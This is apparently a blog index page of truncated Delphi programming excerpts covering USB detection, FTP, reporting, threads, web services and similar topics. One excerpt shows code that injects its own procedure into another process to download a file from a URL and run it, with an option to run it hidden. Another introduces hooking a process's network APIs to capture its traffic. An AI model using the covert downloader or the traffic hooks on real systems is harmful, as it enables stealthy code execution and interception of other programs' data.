摘要:
类函数\类过程. 它们是直接操作在类上面(没有实例化的对象)下面是Delphi Help 的描述 A class method is a method (other than a constructor) that operates on classes instead of objects. The definition of a class method must begin with the reserved word class. For example, type TFigure = class public class function Supports(Operation: st 阅读全文
posted @ 2013-04-28 15:30
小天1981
阅读(454)
评论(0)
推荐(0)
摘要:
本文主要基于“Delphi Development Guide”一书的代码标准部分而来,编者参考其它的Delphi代码标准规范,以及结合现目前Delphi社区中流行的程序书写惯例,作了一些修改和裁剪,你也可以根据自己的需要进行裁剪和修改。如果你有什么建议,或是希望编者加上你认为遗漏的东西,欢迎Email至:riceball@cq118.com目录:前言源程序书写规范通用源代码书写规范Object Pascal语句书写规范与用法命名规范过程(Procedure)与函数(Function)变量(Variable)类型(Type)一般类型构造类型类类型(Class)字段方法属性元件类型窗体与对话框类 阅读全文
posted @ 2013-04-28 15:28
小天1981
阅读(293)
评论(0)
推荐(0)
摘要:
其实系统中的任何事件都是有消息的,U盘的插拨也不例外,让程序去接收这些消息就能知道U盘的状态此处我写了一个Demo程序,用来监视U盘插上或拨下。主要的问题就在如何去接收消息,以及接收什么消息。在DBT单元中,封装了与驱动有关的消息及API,我们只需要稍做研究,即可写出这个程序了。一、接管消息procedure TFormMain.WndProc(var Message: TMessage);varhdr: PDevBroadcastHdr;vol: PDevBroadcastVolume;beginif Message.Msg = WM_DEVICECHANGE thenbegin case 阅读全文
posted @ 2013-04-28 15:26
小天1981
阅读(390)
评论(0)
推荐(0)
摘要:
uses StdCtrls,shlobj,Activex,ComObj;procedure WMDEVICECHANGE(var msgx:Tmessage);message WM_DEVICECHANGE;function GetLastMoveDrive:String;varDrivetype:Integer;root:String;i:Integer;beginResult:='';for i:=67 to 91 do //从C:盘开始到Z:盘beginroot:=char(i)+':\';Drivetype:=GetDriveType(pChar(roo 阅读全文
posted @ 2013-04-28 15:24
小天1981
阅读(537)
评论(0)
推荐(0)
摘要:
unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Buttons, DB, ADODB;typeTForm1 = class(TForm) cmbbzxh: TComboBox; bbtnShowName1: TBitBtn; aqrytm: TADOQuery; ADOConnection1: TADOConnection; Memo1: TMemo; bbtnIsExists1: TBitBtn; Edit1 阅读全文
posted @ 2013-04-28 15:23
小天1981
阅读(863)
评论(0)
推荐(0)
摘要:
unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Buttons, TypInfo;typeTDemoType = (dta, dtb, dtc);TForm1 = class(TForm) BitBtn1: TBitBtn; Edit1: TEdit; procedure BitBtn1Click(Sender: TObject);private {Private declarations} aDemoType 阅读全文
posted @ 2013-04-28 15:22
小天1981
阅读(491)
评论(0)
推荐(0)
摘要:
(1)控件属性设置RecvBufferSize说明(默认值为8192字节):该属性为整型变量,用于指定连接所用的接受缓冲区大小。这些属性是indyftp里面的。SendBufferSize说明(默认值为32768字节):该属性也为整型变量,用于指定连接所用的发送缓冲区的最大值。该属性在WriteStream方法中 时,可用于TStream指定要发送内容的块数。如果要发送的内容大于本属性值,则发送内容被分为多个块发送。TransferType说明(默认值为ftBinary):该属性为TIdFTPTransferType型变量。用于指定传输内容是二进制文件(ftBinary )还是ASCII文 件 阅读全文
posted @ 2013-04-28 15:02
小天1981
阅读(430)
评论(0)
推荐(0)
摘要:
program FTPServer_console;(*Sample of the usage of the TIdFtpServer component.Also shows how to use Indy in console appsCreated by: Bas Gooijen (bas_gooijen@yahoo.com)Disclaimer:Use it at your own risk, it could contain bugs.Copyright:Freeware for all use*){$APPTYPE console}usesClasses,windows,sysut 阅读全文
posted @ 2013-04-28 14:56
小天1981
阅读(844)
评论(0)
推荐(0)
摘要:
Delphi获得与设置系统时间格式在Delphi中,特别是在写管理系统软件时,经常要用到 FormatDateTime 以将 TDateTime 格式的日期时间转换成字符串形式的值显示或保存起来,或者用 StrToDateTime将字符串形式的日期时间转换成 TDateTime 然后再做其他操作。在进行时间或日期的转换时,会使用系统当前设定的时间日期格式。而如果时间日期格式与字符串中的表示方式不相符,会使转换过程失败。例如当前短日期格式设定为'yyyy/MM/dd',而要转为 '2006-10-20'这样的字符串为日期,就会报错,说这不是一个有效的日期。所以在进 阅读全文
posted @ 2013-04-28 14:54
小天1981
阅读(721)
评论(0)
推荐(0)
摘要:
unit NetFunc;interfaceusesSysUtils, Windows, dialogs, winsock, Classes, ComObj, WinInet, Variants;//错误信息常量constC_Err_GetLocalIp = '获取本地ip失败';C_Err_GetNameByIpAddr = '获取主机名失败';C_Err_GetSQLServerList = '获取SQLServer服务器失败';C_Err_GetUserResource = '获取共享资失败';C_Err_GetGroupL 阅读全文
posted @ 2013-04-28 14:52
小天1981
阅读(207)
评论(0)
推荐(0)
摘要:
1、保持合适的列宽且充满整个区域cxgrid默认情况下,列有一个属性MinWidth,这个属性默认情况下是20,把它改为0。然后把cxgridview的columnAutoWidth设置为true。这样列宽就会在充满整个区域的基础上,根据设计时候的长度进行微调。再也不会在dataset open之后胡乱变换长度了。2、隔行换色不能在gridDrawCell事件下写类似于这种的着色代码:{if AViewInfo.RecordViewInfo.Index mod 2 = 0 thenbegin ACanvas.Canvas.Brush.Color := rgb(252,240,235); ACa 阅读全文
posted @ 2013-04-28 14:50
小天1981
阅读(257)
评论(0)
推荐(0)
摘要:
一、使用TfrxReport 组件工作1、加载并存储报表默认情况下,报表窗体同项目窗体构存储在同一个DFM文件中。多数情况下,无须再操作,因而你就不必采用特殊方法加载报表。如果你决定在文件中存储报表窗体或者是数据库的Blob字段(他提供了非常大的弹性,你能够在非编译程序中修改),你必须使用“TfrxReport”提供的加载和存储方法。function LoadFromFile(const FileName: String; ExceptionIfNotFound: Boolean = False): Boolean;从一个给定名字文件中加载报表。如果第二个参数等于“True”并且文件没找到,那 阅读全文
posted @ 2013-04-28 14:36
小天1981
阅读(484)
评论(0)
推荐(0)
摘要:
procedure TForm1.Button1Click(Sender: TObject);varRPrinter:TextFile;i:integer;begin{设置打印机}Assignfile(RPrinter,'lpt1');{准备写文件}Rewrite(RPrinter);{打印}for i := 0 to memo1.lines.Count - 1 doWriteln(RPrinter,memo1.lines[i]);{向后倒纸}Writeln(RPrinter,chr($b)+chr(27)+'K'+chr(40));{向前进纸}Writeln( 阅读全文
posted @ 2013-04-28 14:36
小天1981
阅读(192)
评论(0)
推荐(0)
摘要:
功用一:在框架里面根据存储在数据表中的方法名来动态调用执行方法。unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls;typeTForm1 = class(TForm) Button1: TButton; procedure FormCreate(Sender: TObject);published procedure Test(Sender: TObject);end;varForm1: TForm1;impleme 阅读全文
posted @ 2013-04-28 14:31
小天1981
阅读(155)
评论(0)
推荐(0)
摘要:
Delphi 異常捕捉的一種方法使用TApplicationEvents控件在OnException()事件裏面添加異常處理代碼If E is EOutOfMemory then // 內存不足……Else if E is EAccessViolation then // 非法訪問內存……異常類型定義在SysUtils.pas單元 阅读全文
posted @ 2013-04-28 14:30
小天1981
阅读(164)
评论(0)
推荐(0)
摘要:
MIS系统权限控制的一个简便方法收藏 新一篇: 创MIS系统的权限又多又复杂,很多人是在用户数据表中设置多个字段,每个字段代表一个权限,或者设置一个字符串,不同的字符组合表示用户的不同权限。简单一点的,可以预先设置几个角色,根据角色来行使预设权限,但又不够灵活。现介绍一个简单灵活的权限分配控制的方法,并无高深见解,只是很多人忽略了它。如果您正在设计权限控制模式,不妨接着往下看。此方法非常简洁,扩充性很好。仅用一个 integer 字段即可保存全部权限组合。另外每个权限用一个整型表示如:商品查看权限用 1 ;商品更改权限用 2 ;商品完全浏览权限用 4 ;订单查看权限用 8 ;订单更改权限用 1 阅读全文
posted @ 2013-04-28 14:06
小天1981
阅读(298)
评论(1)
推荐(0)
摘要:
function IsFileInUse(FName:string):Boolean;varHFileRes:HFILE;beginResult:=False;if not FileExists(FName) then Exit;HFileRes:=CreateFile(PChar(FName),GENERIC_READ or GENERIC_WRITE,0, nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);Result:=(HFileRes=INVALID_HANDLE_VALUE);if not Result then CloseHandle(HFil 阅读全文
posted @ 2013-04-28 14:05
小天1981
阅读(248)
评论(0)
推荐(0)
摘要:
1.將FastReport存入數據庫中:在窗體的"Insert"按鈕的OnClick事件中插入下面代碼:(Insert_rep: TADOQuery.設置SQL語句:select * from reportdata.注:ReportData為放置數據庫的表,其中有字段ID(標志),REPORT(報表內容))procedure TForm1.Button4Click(Sender: TObject);vartemplate : TStream;begintemplate := TMemoryStream.Create;template.Position := 0;frxRep 阅读全文
posted @ 2013-04-28 14:04
小天1981
阅读(196)
评论(0)
推荐(0)
摘要:
1. 先用一般的文书编辑器建好一个 MySet.inc 的普通文本文件 , 内容为 :{$H+}{$DEFINE _Proversion}2.在我们的程序中 , 加入一列 {$I MySet.inc}, 例如 :unit Unit1;{$I MySet.inc}interface…implementation{$R *.DFM}procedure TForm1.Button1Click(Sender: TObject);begin{$IFDEF _ProVersion}ShowMessage(' 专业版 ');{$Else}ShowMessage(' 只有专业版才有此功 阅读全文
posted @ 2013-04-28 14:02
小天1981
阅读(305)
评论(0)
推荐(0)
摘要:
1、选择相应的过滤项目,然后直接就过滤,无需要再点一下回车 initialization DBGridEhCenter.FilterEditCloseUpApplyFilter := True;2、以前版本的过滤字串都是模糊过滤了,可是最近发现变成的匹配了。 会对 EhLib 5.0 Build 5.0.13 Russian version 版修改 DBUtilsEh.pas 文件的第927行function VarValueAsFilterStr(v: Variant): String; begin if VarType(v) = varDouble then Result := Float 阅读全文
posted @ 2013-04-28 13:31
小天1981
阅读(306)
评论(0)
推荐(0)
摘要:
其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。program InjectTheSelf;{$IMAGEBASE $13140000}uses Windows, Urlmon;procedure Download; //下载过程beginURLDownloadToFile(nil, '下载的URL', '本地文件路径', 0, nil);WinExec('本地文件路径', SW_SHOW); //SW_SHOW or SW_HIDEend;varhModule, hModule_News: Pointer;Ext 阅读全文
posted @ 2013-04-28 13:24
小天1981
阅读(213)
评论(0)
推荐(0)
摘要:
有时候我们需要对其它应用程序发送和接收的网络数据进行拦截,比如要对IE发送的HTTP头进行分析,得到请求的地址等.这次我们可以用一些例如WPE, Sniffer之类的工具来达到目的.但是工具功能有限,要想实现更强大的功能,还是我们自己动手来DIY吧.拦截网络数据封包的方法有三种,一是将网卡设为混杂模式,这次就可以监视到局域网上所有的数据包,二是HOOK目标进程的发送和接收的API函数,第三种方法是自己实现一个代理的DLL.在这里我们使用HOOK API的方法,这样易于实现,而且也不会得到大量的无用数据(如第一种方法就会监视到所有的网络数据).下面是一个尽量简化了的API HOOK的模版,原理是 阅读全文
posted @ 2013-04-28 13:21
小天1981
阅读(243)
评论(0)
推荐(0)
摘要:
1、function Comparastr (const s1,s2: string):Integer; 比较两字符串,区别大小写; 注:由于此函数操作是基于每个条件的8位序数值,所以返回的结果,如果 s1<s2 就返回小于0 如果相等就为 0 返回就大于零; 众所周知,DELPHI语言不区分大小写,但是有的时候,在设计密码登录时为加强安全性而需要区分;funcgtioncheckpassword(s1:string):boolean;begin Result := CompareStr(s1,'Joe')=0 ;end; 有一个类似的函数function SameTex 阅读全文
posted @ 2013-04-28 13:18
小天1981
阅读(223)
评论(0)
推荐(0)
摘要:
在开发 C/S 应该程序的时候,有时为了程序的运行提高效率。需要使用 缓存功能;//ADO组件需要把 ADOQuery1.LockType:=ltBatchOptimistic; ADOQuery1.CacheSize:=1000; ADOQuery1.CursorLocation:=ctStatic; //开启缓存,这时内容存在内存中 // 如果想保存在硬盘文件需要用 ADOQuery1.LoadFromFile(); ADOQuery1.SaveToFile(); // 来处理文件 //这样数据处理就在本地进行了,减少了网络传送//然后用ADOQuery1.Update... 阅读全文
posted @ 2013-04-28 13:18
小天1981
阅读(297)
评论(0)
推荐(0)
摘要:
服务器端程序 服务器端程序实际上是个COM 工程,它本身连接数据源,再通过接口与客户端联系,这个COM 工程必须注册在服务器上。 首先建立一个空白的工程。 file -> New -> Other -> Multitier -> Remote Data Module(远程数据模块) 对话框: Coclass Name : COM程序的名称,前台依据这个名字查找COM程序 (Project121) Instancing :执行模式,大部分用Multiple Instance(多重实例) Threading Model:线程模式,建议用Apartment(单元) 下面我们就 阅读全文
posted @ 2013-04-28 13:14
小天1981
阅读(276)
评论(0)
推荐(0)
摘要:
/////////////////挂起,不占CPUsleep//////////////////不挂起,占cpuprocedureDelay(msecs:integer);varFirstTickCount:longint;beginFirstTickCount:=GetTickCount;repeatApplication.ProcessMessages;until((GetTickCount-FirstTickCount)>=Longint(msecs));end;//////////////////////////////////////////定时器proceduretimerf 阅读全文
posted @ 2013-04-28 13:13
小天1981
阅读(737)
评论(0)
推荐(0)
摘要:
//获取版本号 functionGetFileVersion(FileName:string):string; typePVerInfo=^TVS_FIXEDFILEINFO; TVS_FIXEDFILEINFO=recorddwSignature:longint; dwStrucVersion:longint; dwFileVersionMS:longint; dwFileVersionLS:longint; dwFileFlagsMask:longint; dwFileFlags:longint; dwFileOS:longint; dwFileType:longint; dwFileSu 阅读全文
posted @ 2013-04-28 13:08
小天1981
阅读(454)
评论(0)
推荐(0)
摘要:
本例演示了全局的异常捕获及处理, 并模拟激发了一个异常; 编译后, 单独运行一下生成的程序文件...本例效果图:代码文件:unitUnit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;typeTForm1 =class(TForm) Button1: TButton; procedureButton1Click(Sender: TObject); procedureFormCreate(Sender: TObject... 阅读全文
posted @ 2013-04-28 13:08
小天1981
阅读(475)
评论(0)
推荐(0)
摘要:
因为DELPHI里的一般默认的舍入方式都是用银行家舍入法也就是“四舍六入五成双”的做法,但是这样的做法往往不太适合中国人的习惯于是居然开始有人用判断语句写函数实现,加入很多判断甚至有人用上了字符串处理实现,还被奉为牛B一般其实一般正数的四舍五入到整数可以用 + 0.5取整实现trunc(x+0.5)对于保留小数位的情况,或可以借用 *X 再除 XX := pow(10, 小数位数)网上还提供一种做法,不过测试者对这样的做法不是很自信,但是看起来是可以实现的SetRoundMode(rmTruncate);//這行很重要 doubled=SimpleRoundTo(1.245,-2); Delp 阅读全文
posted @ 2013-04-28 12:56
小天1981
阅读(313)
评论(0)
推荐(0)
摘要:
unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls;type TForm1 = class(TForm) RichEdit1: TRichEdit; Button1: TButton; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declara 阅读全文
posted @ 2013-04-28 12:55
小天1981
阅读(267)
评论(0)
推荐(0)
摘要:
WaitForSingleObject 等待什么? 在多线程里就是等待另一个线程的结束, 快来执行自己的代码; 不过它可以等待的对象可不止线程; 这里先来一个等待另一个进程结束的例子, 运行效果图:代码文件:<pre>unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls;typeTForm1 = class(TForm)Button1: TButton;procedure Button1Click(Send 阅读全文
posted @ 2013-04-28 12:50
小天1981
阅读(848)
评论(0)
推荐(0)
摘要:
以前要在运行时创建package中的form类,必须要在form单元文件中这样注册类:Initialization RegisterClass(TForm3);Finalization UnRegisterClass(TForm3);然后在调用模块中,通过FindClass或GetClass函数返回一个TPersistentClass,再通过此类引用创建窗口类: AClass := GetClass(ClassName); aForm := TCustomForm(AClass.Create).Create(Application);现在,通过XE中增强的RTTI,也可以完成同样的工作。首先, 阅读全文
posted @ 2013-04-28 12:49
小天1981
阅读(393)
评论(0)
推荐(0)
摘要:
子线程:procedure TreadThread.Execute;begin inherited; FreeOnTerminate := True; while not Terminated do begin////dosomething; end; Sleep(100); end;end;主线程:var H: array[0..0] of Thandle;begin try H[0] := RCThread.handle;// 安全退出子线程 RCThread.Terminate; if MsgWaitForMultipleObjects(1, H, True, 1000, QS_ALLI 阅读全文
posted @ 2013-04-28 12:47
小天1981
阅读(422)
评论(0)
推荐(0)
摘要:
windows下,有时候结束一个托盘程序的进程会遇到这样的情况,程序退出后,托盘的图标还在,但鼠标移过去之后就消失了,delphi里如何实现刷新托盘呢?用TerminateProcess把一个进程结束后有个问题,就是如果该程序在托盘有图标的话,这个图标并不会在它被结束时也消失。当然你用鼠标从上面移过可以解决这个问题,但本人在用自己的刷新辅助软件“疯狂刷新”的时候,每5分钟结束一次,一天下来如果不动电脑,就会在托盘区生成NNN个死图标,即使你拚命去点,也要点半天才能全部消除。有没有办法一下子搞定它呢?答案是肯定的,在网上搜了很久……用Delphi编写几行代码搞定。添加自定义类型,用作判断系统类型 阅读全文
posted @ 2013-04-28 12:46
小天1981
阅读(857)
评论(0)
推荐(0)
摘要:
CnPack多语组件是CnPack组件包中的一个重要组成部分,主要用来用来实现多语言界面。它们虽未组成可安装的独立组件包,但它们功能相对独立,在组件板上独占一页,和其他组件关联不大。1、最简单的多语组件的使用步骤1.建立一空工程,拖放一些可视化组件在上面。保存。2.拖一TCnHashLangFileStorage,添加一语言条目。3.拖一TCnLangMgr,LanguageStorage设置为刚才的CnHashLangFileStorage1。4.拖一TCnLangTranslator,双击打开翻译管理器,生成语言条目并翻译、保存。5.运行,代码中写CnLanguageManager.Cur 阅读全文
posted @ 2013-04-28 12:44
小天1981
阅读(379)
评论(0)
推荐(0)
摘要:
unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, CommCtrl, StdCtrls;type TIpEdit = class(TEdit) procedure CreateParams(var Params: TCreateParams); override; end; TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; procedure Form 阅读全文
posted @ 2013-04-28 12:43
小天1981
阅读(267)
评论(0)
推荐(0)
摘要:
首先,要确保你对象的成员写在published下。 代码如下://TmyClass定义Type TMyClass=Class(TComponent) private Fage: Integer; Faddress: String; FName: String; published property Name:String Read FName Write FName; property age:Integer Read Fage Write Fage; property address:String Read Faddress Write Faddress; end;//保存procedure 阅读全文
posted @ 2013-04-28 12:38
小天1981
阅读(318)
评论(0)
推荐(0)
摘要:
IIS版本:IIS7.5 (WIN7自带版本)1、添加应用程序(在IIS5里添加的是虚拟目录,IIS7.5里添加虚拟目录后貌似要转换为应用程序)。如下图2、右键你添加的应用程序→编辑权限→安全→编辑→添加Everyone用户,给它必要的权限。如下图 3、在IIS根目录中找到ISAPI和CGI限制选项(注意这个选项在根目录下)。如下图: 进入该选项,添加由ISAPI编写的DLL文件,并且设置为允许。如下图: 嗯,搞定。 阅读全文
posted @ 2013-04-28 12:37
小天1981
阅读(506)
评论(0)
推荐(0)
摘要:
下面说明如何编写用于IIS发布的ISAPI类型的WebService。1、 New|Other|WebServices|SOAP Server Application|这里先选择建立Web App Debugger 类型的WebService,因为这种类型的WebService便于调试,当我们调试好它,准备发布时再将 此类型转换为ISAPI类型。2、 选择Web App Debugger后,随便输入一个ClassName,这里我们输入“Test”3、 随后Delphi会询问你是否建立接口单元,选择是,然后输入接口的名字,我们输入Main, Delphi将自动建立接口单元(名字为你输入的接口名+ 阅读全文
posted @ 2013-04-28 12:36
小天1981
阅读(406)
评论(0)
推荐(0)
摘要:
本例將實現一個基於.NET的WebService,並且使用Delphi調用,獲取數據。首先開發一個WebService,我使用VS2008下C#語言進行開發,新建一個ASP.NET Web Service工程,代碼如下:[WebMethod] public string GetData() { string ConnStr = "Provider=SQLOLEDB.1;Password=\"\";Persist Security Info=True;User ID=sa;Initial Catalog=Northwind;Data Source=192.168.1 阅读全文
posted @ 2013-04-28 12:35
小天1981
阅读(153)
评论(0)
推荐(0)
摘要:
procedure TForm1.FormCreate(Sender: TObject);var dt: TDateTime;begin IdHTTP1.Head(sURL); dt := IdHTTP1.Response.LastModified; IdHTTP1.Disconnect; ShowMessage(DateTimeToStr(dt));end; 阅读全文
posted @ 2013-04-28 11:58
小天1981
阅读(290)
评论(0)
推荐(0)
摘要:
本文介绍的是如何用Delphi6开发Web Service程序,并把服务程序放在IIS Web服务器上提供给各种客户程序调用。一编写服务程序第一步:File----->New----->Other------>WebServices----->Soap Server Application选择ISAPI/NSAPI Dynamic Link Library然后确定。生成一个框架。后面的大部分原代码都需要自己手工添加第二步:定义一个接口单元。先通过向导生成一个空的单元文件,然后在此单元中实现基本的接口(Iinvokable)和定义以后客户端程序可以调用的方法,原代码如下: 阅读全文
posted @ 2013-04-28 11:55
小天1981
阅读(439)
评论(0)
推荐(0)
摘要:
ZipFile 类, 最方便使用的是它的类方法:--------------------------------------------------------------------------------TZipFile.ExtractZipFile() //解压 Zip 文件到指定文件夹TZipFile.IsValid() //判断指定文件是否是有效的 Zip 文件TZipFile.ZipDirectoryContents() //压缩指定路径下的所有文件------------------------------------------------------------------- 阅读全文
posted @ 2013-04-28 11:54
小天1981
阅读(193)
评论(0)
推荐(0)
摘要:
其它某些文件传输代码精练很多,传输的文件大小任意,个人建议:写网络文件传输程序时最好用Indy的控件(因为其默认即阻塞模式,Server端已封装了多线程,没有数据包大小限制),ClientSocket VS ServerSocket传输文件很麻烦,要自定通信协议,并且有个8KB的瓶颈,实现大文件传输比较麻烦,服务端发送:var iFileHandle:integer; iFileLen,cnt:integer; buf:array[0..4096] of byte;begin iFileHandle:=FileOpen('E:\Study\深入Delphi6网络编程.rar', 阅读全文
posted @ 2013-04-28 11:53
小天1981
阅读(2557)
评论(0)
推荐(0)
摘要:
1 内存分配常见函数GetMem和FreeMem、GetMemory和FreeMemory、New和Dispose、StrAlloc和StrDispose、AllocMem、SysGetMem和SysFreeMem。2 GetMem和FreeMem、GetMemory和FreeMemory由于DELPHI的内存管理都知道分配内存的大小,因此在释放内存的时候,只要给指针地址不用给出长度就可以了。另外提倡用GetMemory和FreeMemory来代替GetMem和FreeMem,因为FreeMemory会判断指针是否为空。3 New和DisposeNew和Dispose是用来管理变体类型内存分配 阅读全文
posted @ 2013-04-28 11:44
小天1981
阅读(322)
评论(0)
推荐(0)
摘要:
varsMoneyBoxOpenCommand='海宏软件,不同的打印机,指令不同';TOutBufPassThrough=record//调用windows.extEscape可以直接用extEscape(handle,PASSTHROUGH,sizeOf(outBuf),@outBuf,0,nil)向设备发送esc命令nDataLen:word;sEscData:array[0..1024]ofchar;end;varprt:TPrinter;esc:TOutBufPassThrough;try//驱动开prt:=printers.Printer;prt.beginDoc; 阅读全文
posted @ 2013-04-28 11:43
小天1981
阅读(1740)
评论(0)
推荐(0)
摘要:
先看一个非多线程的例子, 代码执行时不能进行其它操作(譬如拖动窗体):{自定义方法: 在窗体上绘制...}procedureMyMethod;var i: Integer;beginfori := 0to500000dobegin Form1.Canvas.Lock; Form1.Canvas.TextOut(10, 10, IntToStr(i)); Form1.Canvas.Unlock;end;end;{调用上面的自定义方法}procedureTForm1.Button1Click(Sender: TObject);begin MyMethod;end;修改为多线程(只修改一行代码... 阅读全文
posted @ 2013-04-28 11:42
小天1981
阅读(403)
评论(0)
推荐(0)
摘要:
关于Delphi用PNG做异形窗口的资料有不少.都是用GDIPlus或者TPNGImage组件加载PNG图像做的.但是我很懒,不想引用的GDIPlus,也不想去找PNGImage下载.好在从Delphi2009开始Delphi中就收购了PNGImage,并集成到后继的版本中.Delphi2010又包装了微软的IWICImagingFactory接口,这样处理PNG的工作就交给操作系统去做了.函数很简单一共就几行,关键就是UpdateLayeredWindow.发现CodeGear真让我上火.他们收工了PNGImage以后搞的东西居然改出了问题.透明盒渐变都有问题.做异形窗口该渐变部分居然是透明 阅读全文
posted @ 2013-04-28 11:41
小天1981
阅读(220)
评论(0)
推荐(0)
摘要:
一、Web Service程序创建1.新建Web Service工程,选择SOAP ServerApplication.2.选择Web AppDebugger executable,Class Name中添入类名“Demo1”.3.单击“Yes”按钮.4.Service name中添入“Main” .5.在”MainIntf”单元”IMain”接口下增加函数”functionGetMsg(AMsg: string): String; stdcall;”代码如下:{ Invokable interfaceIMain }unit MainIntf;interfaceusesInvokeRegist 阅读全文
posted @ 2013-04-28 11:40
小天1981
阅读(620)
评论(0)
推荐(0)
摘要:
使用 CreateName 建立可直接指定根节点的名称varXmlDoc: TnativeXml;Node:TxmlNode;BeginXmlDoc := TNativeXml.CreateName('Data'); //创建根节点的语法 XmlDoc.XmlFormat := xfReadable;添加节点有以下几种方法:Node:=xmlDoc.Root.NodeNew(‘BasicDataNo’);Node.value:=’1’;XmlDoc.Root.NodeNew(‘name’).value:=’sam’;xmlDoc.Root.WriteString(‘sex’,’ 阅读全文
posted @ 2013-04-28 11:39
小天1981
阅读(702)
评论(0)
推荐(0)

浙公网安备 33010602011771号